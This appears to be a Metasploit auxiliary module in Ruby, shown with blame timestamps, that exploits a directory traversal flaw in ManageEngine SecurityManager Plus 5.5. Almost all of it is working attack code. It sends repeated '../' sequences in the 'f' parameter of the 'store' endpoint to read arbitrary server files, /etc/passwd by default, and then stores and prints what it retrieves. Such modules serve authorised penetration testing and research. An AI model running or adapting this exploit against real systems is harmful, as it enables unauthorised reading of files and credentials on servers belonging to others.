metasploit-framework/modules/auxiliary/scanner/http/manageengine_securitymanage...

91 lines
2.6 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine SecurityManager Plus 5.5 Directory Traversal',
'Description' => %q{
This module exploits a directory traversal flaw found in ManageEngine
SecurityManager Plus 5.5 or less. When handling a file download request,
the DownloadServlet class fails to properly check the 'f' parameter, which
can be abused to read any file outside the virtual directory.
},
'References' =>
[
['OSVDB', '86563'],
['EDB', '22092']
],
'Author' =>
[
'blkhtc0rp', #Original
'sinn3r' #Metasploit module
2013-08-30 21:28:54 +00:00
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Oct 19 2012"
))
2013-08-30 21:28:54 +00:00
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 6262]),
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
], self.class)
end
2013-08-30 21:28:54 +00:00
def run_host(ip)
base = normalize_uri(target_uri.path)
base << '/' if base[-1,1] != '/'
2013-08-30 21:28:54 +00:00
peer = "#{ip}:#{rport}"
fname = datastore['FILE']
2016-02-01 22:06:34 +00:00
print_status("Reading '#{datastore['FILE']}'")
2013-08-30 21:28:54 +00:00
traverse = "../" * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{base}store",
'vars_get' => {
'f' => "#{traverse}#{datastore['FILE']}"
}
})
2013-08-30 21:28:54 +00:00
if res and res.code == 500 and res.body =~ /Error report/
2016-02-01 22:06:34 +00:00
print_error("Cannot obtain '#{fname}', here are some possible reasons:")
2013-08-30 21:28:54 +00:00
print_error("\t1. File does not exist.")
print_error("\t2. The server does not have any patches deployed.")
print_error("\t3. Your 'DEPTH' option isn't deep enough.")
print_error("\t4. Some kind of permission issues.")
2013-08-30 21:28:54 +00:00
elsif res and res.code == 200
data = res.body
p = store_loot(
'manageengine.securitymanager',
'application/octet-stream',
ip,
data,
fname
)
2013-08-30 21:28:54 +00:00
vprint_line(data)
2016-02-01 22:06:34 +00:00
print_good("#{fname} stored as '#{p}'")
2013-08-30 21:28:54 +00:00
else
2016-02-01 22:06:34 +00:00
print_error("Fail to obtain file for some unknown reason")
2013-08-30 21:28:54 +00:00
end
end
end